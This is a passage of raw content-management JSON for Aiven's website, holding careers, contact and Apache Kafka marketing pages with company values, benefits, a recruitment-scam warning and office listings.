courageous","variant":"icon-card"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","title":"A look under our shell "},{"_key":"31febaeb33b2","_type":"iconList","disabled":true,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"ceb0c874b705","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"11ee9e6d3902","_type":"block","children":[{"_key":"51ce80f66b510","_type":"span","marks":[],"text":"To any new idea. To inspiration from every colleague and experience. Supporting the open source community that makes us who we are."}],"markDefs":[],"style":"normal"}],"title":"We are open"},{"_key":"1233862569f4d5a7ab363b3ee66f2824","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c7782e4f232e5e1b05cc1779512beef5b4140b17-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"6635b3f08d6f","_type":"block","children":[{"_key":"cca198214cb30","_type":"span","marks":[],"text":"We own our decisions. Our mistakes. The places they take us."}],"markDefs":[],"style":"normal"}],"title":"We are owners"},{"_key":"0c8e9f32730e4eb2a4c1d5ec71210e15","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"30cc2a8381cf","_type":"block","children":[{"_key":"d724d03b20310","_type":"span","marks":[],"text":"We take on any challenge. Take calculated risks. We drive changes, not resist them."}],"markDefs":[],"style":"normal"}],"title":"We are courageous"}],"itemsPerRow":3,"noSpaceBottom":true,"rounded":false,"title":"A look under our shell "},{"_key":"ab1973aaad92","_type":"textImage","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-59b4265ae338fb64ece33b51dfbe5cfca3ffe14f-1664x1664-png","_type":"reference"}},"primaryCTA":{"_type":"link","internalLink":{"_ref":"04d831e8-70a3-4eaa-826a-1247de9bab4b","_type":"reference"},"title":"Find your place with us"},"rounded":false,"text":[{"_key":"2e373110b5d7","_type":"block","children":[{"_key":"ec70df1a42340","_type":"span","marks":[],"text":"We believe in open minds, open discussions, and open source. And we value and celebrate the diversity of our people. Every day, we’re building an even more inclusive workplace. "}],"markDefs":[],"style":"normal"},{"_key":"f7d046cc9b15","_type":"block","children":[{"_key":"34af731e80c0","_type":"span","marks":[],"text":"Aiven is somewhere you’ll be able to come out of your shell and be your best, true self.\n"}],"markDefs":[],"style":"normal"}],"title":"A Cast of individuals","variant":"mediaRight"},{"_key":"529dcde465fa407b516864aa62bc5af3","_type":"textVideo","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"noSpaceBottom":true,"noSpaceTop":true,"rounded":false,"text":[{"_key":"98ef0eebc421","_type":"block","children":[{"_key":"2b72073b4d26","_type":"span","marks":[],"text":"At Aiven we have big plans: to be the world’s leading cloud data platform. To make that happen, we need more sideways thinkers to join our Cast of Crabs. "}],"markDefs":[],"style":"normal"},{"_key":"2c13455dfaad","_type":"block","children":[{"_key":"a6f3d649dea1","_type":"span","marks":[],"text":"The work we do at Aiven can be anything but straightforward, so we must be bold and innovative. For us, it’s not necessarily "},{"_key":"06f8f00a4730","_type":"span","marks":["em"],"text":"what"},{"_key":"f0dd72e0792a","_type":"span","marks":[],"text":" you think that matters. It’s "},{"_key":"9a3fec21727a","_type":"span","marks":["em"],"text":"how"},{"_key":"3d00bc625eb3","_type":"span","marks":[],"text":" you think. "}],"markDefs":[],"style":"normal"},{"_key":"1e7e866452bd","_type":"block","children":[{"_key":"a688ee7616f0","_type":"span","marks":[],"text":"If you like to find more lateral or unusual ways to solve problems, maybe you could "},{"_key":"deb809ebbadc","_type":"span","marks":["strong"],"text":"#ThinkSideways"},{"_key":"2824060da46e","_type":"span","marks":[],"text":" and take big steps forward. Just like our mascot, Crabby! "}],"markDefs":[],"style":"normal"},{"_key":"2fe5e9b4aa53","_type":"block","children":[{"_key":"dae15d6af972","_type":"span","marks":["83e43f63124b"],"text":"Aiven recruitment and candidate sourcing privacy policy"}],"markDefs":[{"_key":"83e43f63124b","_type":"internalLink","internalLink":{"_ref":"812e3e89-5b7b-4173-afaf-127dc2508207","_type":"reference"}}],"style":"normal"}],"title":"Think Sideways to move the world forward","variant":"mediaLeft","ytId":"KyP7MHNywn8","ytImg":{"_type":"mainImage","asset":{"_ref":"image-71e85b676084c6d7d29026e1222397f6f9192c8a-1200x675-jpg","_type":"reference"}}},{"_key":"b214a27491e7","_type":"iconList","addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"fff4b9bd5edb","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0341b1c3696da7468cfbba301dd17929b0cdc72f-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"896f6d4f86c0","_type":"block","children":[{"_key":"0f7c96e9b2890","_type":"span","marks":[],"text":"Stock options for permanent employees."}],"markDefs":[],"style":"normal"}],"title":"Stocks"},{"_key":"b707371b023e72593a553fc6b9248de4","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-87a436c693e93f59b89f6b87039996d9b60869b1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"50454b1daed3","_type":"block","children":[{"_key":"5153ea353f3b0","_type":"span","marks":[],"text":"Get ahead with an individual learning budget, access to a web learning platform, coaching, and the ever-growing Aiven library.\n"}],"markDefs":[],"style":"normal"}],"title":"Learning \u0026 growth"},{"_key":"af04bf27c36694c08f7c34172a724031","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c05eaf1c20a2726f4c976ed070dbbce0398110b3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ff0fd321cf9f","_type":"block","children":[{"_key":"d6f7b977c3390","_type":"span","marks":[],"text":"Flexible, regular working hours, and remote-work friendly."}],"markDefs":[],"style":"normal"}],"title":"Work / life balance"},{"_key":"7eca5702658af78f613b887025b13a4f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2d8eb7de7a35","_type":"block","children":[{"_key":"b70e6402046a0","_type":"span","marks":[],"text":"Private health and dental care."}],"markDefs":[],"style":"normal"}],"title":"Health care"},{"_key":"56bbb6daacd99026a447a62adba5fdac","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-216087e3f84e46bc6fec1379d984299ce66186a1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"ed2c69d1aef8","_type":"block","children":[{"_key":"1a8969e8d2f10","_type":"span","marks":[],"text":"The tools you need to do your job."}],"markDefs":[],"style":"normal"}],"title":"Work equipment"},{"_key":"8e8780e7087c839cd1e4c03ca72eeb88","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"546388d9f243","_type":"block","children":[{"_key":"0001d68c81c30","_type":"span","marks":[],"text":"- with free drinks, treats and fruit.\n"}],"markDefs":[],"style":"normal"}],"title":"Cool, collaborative work spaces"}],"rounded":false,"subtitle":[{"_key":"b6ea1eb5c2db","_type":"block","children":[{"_key":"36cd29f70d470","_type":"span","marks":[],"text":"We’ll look after you in all sorts of ways. When you're part of our Cast, we’ll make sure you’ll be able to look after yours too."}],"markDefs":[],"style":"normal"},{"_key":"7e9acb0fb268","_type":"block","children":[{"_key":"2d74643d0771","_type":"span","marks":[],"text":"Here’s a taster of the rewards you'll enjoy..."}],"markDefs":[],"style":"normal"}],"title":"Get your claws on some great benefits","variant":"icon-left"},{"_key":"b7de715f56cf","_type":"testimonial","disabled":false,"fullWidth":false,"isCarousel":false,"items":[{"_key":"0d60c1e7883b","_ref":"2d7b9238-8e7e-40dd-9ccc-4ecbba33d8d8","_type":"reference"},{"_key":"9887af3b7a74","_ref":"d8ba49d5-3150-48bf-9bb6-a7f6661f1208","_type":"reference"},{"_key":"770b706bdee2","_ref":"81f9160a-71ab-473b-98f3-54e99f3e08e5","_type":"reference"},{"_key":"6b4367b34c97","_ref":"7406d8d2-3acb-4a35-9f9d-1c8ce934d395","_type":"reference"}],"rounded":false,"title":"Hear from Our Cast","variant":"people"},{"_key":"c1d418039ee797a3c9e01d4b80b64079","_type":"relatedBlogs","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","categories":[{"_key":"9fe8c31eb8b6","_ref":"f71aca49-b430-43f6-a9a2-17863e4c6a16","_type":"reference"}],"disabled":false,"fullWidth":false,"limit":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Life at Aiven"},{"_key":"cux80lxbigl0wv84as8aqjcitnt74d3u","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"items":[{"_key":"66etcxtscngo1o8iip5gweo5yqi75x6t","_type":"tabItem","content":[{"_key":"k96jg21z9dqku20m7l28ehjaovfo9wd8","_type":"locationList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"locations":[{"_key":"1xudot1b3c6wsxjeln7ifzwri4okmccl","_ref":"c25f4aef-329f-4e56-bc2d-3e8a921c6ffa","_type":"reference"},{"_key":"uz8khcjklwtbl6tpr4hv3ms6bisrbqzr","_ref":"b9aeb375-4441-4f7e-b363-47fd1f5f71e6","_type":"reference"},{"_key":"6c761019a81ee3d7d5fe8f9101250786","_ref":"768f0225-3314-4e37-bd63-4eba5d12c5cf","_type":"reference"},{"_key":"yqrsnppelav75da58cwl860udcctrcd7","_ref":"8861e8d2-2b6e-4c59-9d27-577371a7126c","_type":"reference"},{"_key":"bt7mojowpp68oh5vy53jmzs48wkhrrk5","_ref":"7ff09411-05d1-47d7-8d31-a5ec34d6e347","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"id":"emea","imageHeight":35,"title":"EMEA"},{"_key":"ooxwb16bixlg6za1me1baat93homyjn2","_type":"tabItem","content":[{"_key":"hbikn7qvbpvczmez82iwzoxwdqu94sap","_type":"locationList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"locations":[{"_key":"90p77zektd4t7k56p20x2rje7f7uewff","_ref":"62566f6f-2b4d-4abd-b8a7-1364f0532a1d","_type":"reference"},{"_key":"78i1pz0m4mkvpij37u3wca8gxvuc4e1z","_ref":"0ddcb861-6255-4706-9b6b-ec81cc33a883","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"id":"apac","imageHeight":35,"title":"Asia-Pacific"},{"_key":"ldvftt2enpdh8fpiy8x9ul7pdevyzbuh","_type":"tabItem","content":[{"_key":"yto4td8i0dyfxpqztg1qpf17oa2yvhwv","_type":"locationList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"locations":[{"_key":"e48f8ac5babc22db8de8d89680b92be9","_ref":"ee969257-7237-47ac-9037-8936af527670","_type":"reference"},{"_key":"3wianip4m2jbxqw3oe4f9yh1lzv2203k","_ref":"f4469711-0dd2-4bc0-8501-3481db1ea7b6","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"id":"amer","imageHeight":35,"title":"North America"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"68e6be3e2457","_type":"block","children":[{"_key":"8ded06e0518b0","_type":"span","marks":[],"text":"Our work is open source, reflecting the inclusive atmosphere of our global offices. With locations spanning the globe, we encourage talented individuals from various backgrounds to join our team."}],"markDefs":[],"style":"normal"}],"title":"Have shell. Will travel.","variant":"button-toggle"},{"_key":"87ae9299e3044da7ee32645879ca278b","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"04549e53a28b","_type":"block","children":[{"_key":"e81b26fff2100","_type":"span","marks":[],"text":"Are you intrigued by what you've seen and heard? Do you feel a genuine interest in joining our Cast? Does our company's vision and values resonate with you? If so, you can make an impact without having to claw your way up the ladder!\n\nWe believe in keeping you informed every (sideways) step of the way, ensuring you receive the transparency you deserve. To provide clarity, below you can see what's involved once you applied."}],"markDefs":[],"style":"normal"}],"columnTwo":[{"_key":"2f9ca73262ef","_type":"block","children":[{"_key":"175544433222","_type":"span","marks":["em"],"text":"There has been a rise in fake job postings used by scammers to get personal information. Please familiarise yourself with the red flags of a potential scam. Here at Aiven, all of our emails relating to recruitment come from an @aiven.io, @greenhouse.io or @eu.greenhouse.io domain and all of our interviews are conducted over video call or in person, our interviews will never occur over text or chat. If you’re unsure of the legitimacy of a job opportunity/offer pertaining to Aiven, please don’t hesitate to reach out to us at "},{"_key":"941e7f2556c1","_type":"span","marks":["em","97692ef819ff"],"text":"recruitment@aiven.io"},{"_key":"6a599d602224","_type":"span","marks":["em"],"text":"."}],"markDefs":[{"_key":"97692ef819ff","_type":"link","href":"mailto:recruitment@aiven.io"}],"style":"normal"}],"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","internalLink":{"_ref":"04d831e8-70a3-4eaa-826a-1247de9bab4b","_type":"reference"},"title":"I want to apply"},"rounded":false,"title":"Joining the Cast","variant":"twoColumn"},{"_key":"6459e140ba09156c9d11c89c05ea8f95","_type":"coverImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","captionImage":{"_type":"captionImage","image":{"_type":"mainImage","alt":"Aiven recruitment process","asset":{"_ref":"image-3bd7ad4882db6b9e8db6912a5386a7e4e6c5e23f-833x150-svg","_type":"reference"}}},"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":true,"rounded":false},{"_key":"85807425e24c64bc33786810dc9b4cf1","_type":"textImage","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-3539325a89681566132a87fcfc35bfb0262870ff-1263x1263-png","_type":"reference"}},"imagePosition":"center","narrowImage":true,"noSpaceBottom":true,"noSpaceTop":true,"primaryCTA":{"_type":"link","externalUrl":"https://cdn.sanity.io/files/sczeoy4w/production/572096f928e28f2e22f1736106becf61fba9f714.pdf","title":"Let’s Scuttle!"},"text":[{"_key":"ee524e1d8fe7","_type":"block","children":[{"_key":"098855bc0cbe0","_type":"span","marks":[],"text":"The Aiven culture. It’s not necessarily what you think. It’s how you think. Dive deeper into our wider world and learn more about it 👀🦀"}],"markDefs":[],"style":"normal"}],"title":"Our Culture Book","variant":"mediaLeft"}],"seo":{"_type":"metaData","metaDescription":"Aiven is growing fast and needs talent to continue our pace. If you’re ready to grow with us and do big things, check out who and what we’re looking for.","metaImage":{"_type":"mainImage","alt":"Careers at Aiven","asset":{"_ref":"image-4093ea27c4f25b15a145ffbe0df6630e2c2d3729-1921x1080-jpg","_type":"reference"}},"metaTitle":"Careers at Aiven | Join our amazing team today!"},"slug":{"_type":"slug","current":"/careers"},"title":"Careers"} {"__i18n_lang":"en","__i18n_refs":[{"_key":"ja","_ref":"de53f46b-d056-463c-8d2a-4ee0480b9faf__i18n_ja","_type":"reference"}],"_createdAt":"2022-07-25T14:17:59Z","_id":"de53f46b-d056-463c-8d2a-4ee0480b9faf","_rev":"3dV4FODjLd0CdPPVQiEh9I","_type":"page","_updatedAt":"2024-11-22T10:50:58Z","content":[{"_key":"e96edb66e0c9","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-b97985a8208abc1059d1fee8be898972517ff18e-2880x1130-jpg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","darkTheme":true,"description":[{"_key":"a87a4ac2276d","_type":"block","children":[{"_key":"41fd45d8d2be0","_type":"span","marks":[],"text":"Get in touch with sales, get your security and compliance concern answered or interested in partnering with us? Let us know how we can help by filling in the form and we will be in touch soon."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-b","tagline":"We’d love to hear from you","title":"Contact us","titleMultiColor":false,"topOverlap":false,"variant":"compact","videoHosting":"youtube"},{"_key":"16b1f11fa86cd223edd15c22d08976ce","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","iframeHeight":1000,"iframeSource":"https://go.aiven.io/l/890043/2022-02-15/7dc33","iframeTitle":"Contact","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":true,"pardotFormType":"contact","titleAsH1":true},{"_key":"cc05b08780ea865442de1f0a63d1aa82","_type":"cardList","addSpaceBottom":true,"addSpaceTop":false,"align":"left","backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"0833d12713dd","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://console.aiven.io/login","title":"Log in"},"subtitle":[{"_key":"572f5ce19285","_type":"block","children":[{"_key":"66245e82b0e8","_type":"span","marks":[],"text":"Log into your account and create a case in our Support Center. "}],"markDefs":[],"style":"normal"}],"title":"Create a case","variant":"default"},{"_key":"bd4f074ed17e","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/community/forum","title":"Community forum"},"subtitle":[{"_key":"c5852ecf4cb0","_type":"block","children":[{"_key":"7f3eed6b149e","_type":"span","marks":[],"text":"Post your questions at our community forum."}],"markDefs":[],"style":"normal"}],"title":"Ask in forum","variant":"default"},{"_key":"e593e698bc49","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io","title":"View docs"},"subtitle":[{"_key":"3fbbbcc406aa","_type":"block","children":[{"_key":"51730ce204ae0","_type":"span","marks":[],"text":"Check out our product guides and how-tos."}],"markDefs":[],"style":"normal"}],"title":"Check our documentation","variant":"default"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","title":"Looking for support?"},{"_key":"qku9uwomxct076xzlzz6v73ylknito6x","_type":"tab","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"items":[{"_key":"oytcni8cqqgvbzf95458tabhpfks3o7d","_type":"tabItem","content":[{"_key":"iddj6fn76pm1hx5mxzfomw1pap01vdev","_type":"locationList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"locations":[{"_key":"vshbll5ua1jjf5v81dfs33a5n2nejgfi","_ref":"c25f4aef-329f-4e56-bc2d-3e8a921c6ffa","_type":"reference"},{"_key":"71zfysfuuz6y0j9asl89glfedw7v422t","_ref":"b9aeb375-4441-4f7e-b363-47fd1f5f71e6","_type":"reference"},{"_key":"lycns1l2o2oi2wi5od75ndnfywgn0jbh","_ref":"8861e8d2-2b6e-4c59-9d27-577371a7126c","_type":"reference"},{"_key":"24dbd6260700da00cf7916b69b50950e","_ref":"768f0225-3314-4e37-bd63-4eba5d12c5cf","_type":"reference"},{"_key":"vd7n67vsffii6c0t66epvc3e24609lp7","_ref":"7ff09411-05d1-47d7-8d31-a5ec34d6e347","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"id":"emea","imageHeight":35,"title":"EMEA"},{"_key":"g8eisijpniydcolnai0d1fopadvdgtxk","_type":"tabItem","content":[{"_key":"mynikfytsqa5y9lz0uoow1uxcue8fzls","_type":"locationList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"locations":[{"_key":"2obi8lsbojbm14i8yv5bjyhzrtm2stfm","_ref":"62566f6f-2b4d-4abd-b8a7-1364f0532a1d","_type":"reference"},{"_key":"rhc2a16imvmh0ec9sau8r8bqclvw52h6","_ref":"0ddcb861-6255-4706-9b6b-ec81cc33a883","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"id":"apac","imageHeight":35,"title":"Asia-Pacific"},{"_key":"uywzikytbtub70zarpulc3pl8cahq45p","_type":"tabItem","content":[{"_key":"ya84tjs5xa0xd08pp9r8cphxa5uzy7vn","_type":"locationList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"locations":[{"_key":"nihsslhjwbsjoz0axayyh60t876js003","_ref":"ee969257-7237-47ac-9037-8936af527670","_type":"reference"},{"_key":"39ab68c10b0fd4f6f63f86be5626c70f","_ref":"f4469711-0dd2-4bc0-8501-3481db1ea7b6","_type":"reference"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none"}],"id":"amer","imageHeight":35,"title":"North America"}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","subtitle":[{"_key":"015ce6f1d32c","_type":"block","children":[{"_key":"3101f7b1b4dd0","_type":"span","marks":[],"text":"We are a global team headquartered in Helsinki, offices in major cities, and distributed team members in multiple remote locations."}],"markDefs":[],"style":"normal"}],"title":"Our offices","variant":"button-toggle"}],"modals":[{"_key":"43678dc23da6","_ref":"9b8fc092-7701-4f6f-b1f5-0b95a630b0c9","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Aiven's fully managed, open source cloud data platform lets you create the data pipelines you always dreamed of – in under 10 minutes.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-ab5acb791f9dd9c48d0ac86878c9f7c98214ec87-1200x630-jpg","_type":"reference"}},"metaTitle":"Contact us | Aiven"},"slug":{"_type":"slug","current":"/contact"},"title":"Contact"} {"__i18n_lang":"en","_createdAt":"2023-09-18T12:53:48Z","_id":"7d89debc-cbd9-4082-93d8-b80c3e7bb0fd","_rev":"7xfFClh5q4hYckYFjjXyE4","_type":"page","_updatedAt":"2024-05-10T10:15:26Z","content":[{"_key":"bb7e0404d99f","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headline":[{"_key":"33fa9841ed9c","_type":"block","children":[{"_key":"a2581ae841d70","_type":"span","marks":["color-secondary"],"text":"Cut costs by 40%"},{"_key":"3758fa7d30dc","_type":"span","marks":[],"text":" on Apache Kafka®"}],"markDefs":[],"style":"h1"},{"_key":"6c834907b3db","_type":"block","children":[{"_key":"2303968189c30","_type":"span","marks":[],"text":"Predictable pricing without variable costs."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"4b7a063a4236","_type":"block","children":[{"_key":"77aecf25b8500","_type":"span","marks":[],"text":"On the cloud of your choice."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"42b99576247a","_type":"block","children":[{"_key":"72ea9c1283b70","_type":"span","marks":[],"text":"Build your streaming data pipelines."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e184e9242779","_type":"block","children":[{"_key":"e151a88781650","_type":"span","marks":[],"text":"99.99% uptime. 100% human support."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"hostProviders":[{"_key":"62e825689f17","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"aa788834124e","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"9e96d65595e2","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"f55dc143d850","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"c15ed70f338d","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"image":{"_type":"mainImage","asset":{"_ref":"image-855f2451d7db558f8db7fb5cd49605ac0fdbeaa4-1600x1074-png","_type":"reference"}},"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"30 mins. No strings attached","internalLink":{"_ref":"8930abef-2819-4638-b11a-a3a2e33e18ff","_type":"reference"},"title":"Talk to an expert"},"rounded":false,"title":"Cut costs by 40% on Apache Kafka®","titleMultiColor":true,"variant":"default"},{"_key":"9dfbc62d254c","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-645bc93e17703a6f48254a02d9d577866628b5f2-576x581-svg","_type":"reference"}},"backgroundPosition":"right center","backgroundPositionMobile":"center center","backgroundSize":"contain","backgroundSizeMobile":"cover","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"0d7b1e86cfd3","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"9896777c753f","_type":"block","children":[{"_key":"77a3df7a0dd0","_type":"span","marks":[],"text":"Boost your development speed by eliminating legacy code."}],"markDefs":[],"style":"normal"},{"_key":"18b1285079cd","_type":"block","children":[{"_key":"443ccf0a18c5","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"bd4ae701b39f","_type":"block","children":[{"_key":"0a4135d3563b0","_type":"span","marks":["strong"],"text":"Vendor Consolidation: "},{"_key":"24343a4259e80","_type":"span","marks":[],"text":"Access a comprehensive data platform featuring 10 popular open source data technologies."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"5551f05c3ec1","_type":"block","children":[{"_key":"c03668efa1710","_type":"span","marks":["strong"],"text":"Simplified Developer Experience: "},{"_key":"725a0422edb40","_type":"span","marks":[],"text":"Enjoy a consistent and user-friendly interface for seamless development across all services."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"}],"title":"Increase agility","variant":"icon-card"},{"_key":"5113cc1db256","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"da763b0d0688","_type":"block","children":[{"_key":"f513f87cb227","_type":"span","marks":[],"text":"One-stop solution that can be deployed across clouds."}],"markDefs":[],"style":"normal"},{"_key":"5d289b8ceaf5","_type":"block","children":[{"_key":"cb15214cdd9c","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"301c651b7602","_type":"block","children":[{"_key":"c6b9866c7f510","_type":"span","marks":["strong"],"text":"Flexible Deployment Options: "},{"_key":"07265a56fc250","_type":"span","marks":[],"text":"Deploy your applications in your preferred cloud environment, including public clouds, marketplaces, or across multiple clouds."}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"bb282aa64455","_type":"block","children":[{"_key":"1e37fa8cf9860","_type":"span","marks":["strong"],"text":"Leverage Savings Plans:"},{"_key":"64c394d5a792","_type":"span","marks":[],"text":" Use Aiven's "},{"_key":"ea3650272119","_type":"span","marks":["3d877b0c11c5"],"text":"Bring Your Own Cloud (BYOC) deployment model"},{"_key":"54e2121d7546","_type":"span","marks":[],"text":" to use any cost-saving plans offered by your cloud service providers (CSPs) while using the Aiven platform in your cloud account."}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3d877b0c11c5","_type":"internalLink","internalLink":{"_ref":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_type":"reference"}}],"style":"normal"}],"title":"Simplify platform architecture","variant":"icon-card"},{"_key":"d19a0c3069e7","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"600d80901bf5","_type":"block","children":[{"_key":"697105109825","_type":"span","marks":[],"text":"Leverage Aiven’s cloud experts to ensure optimal usage of your cloud 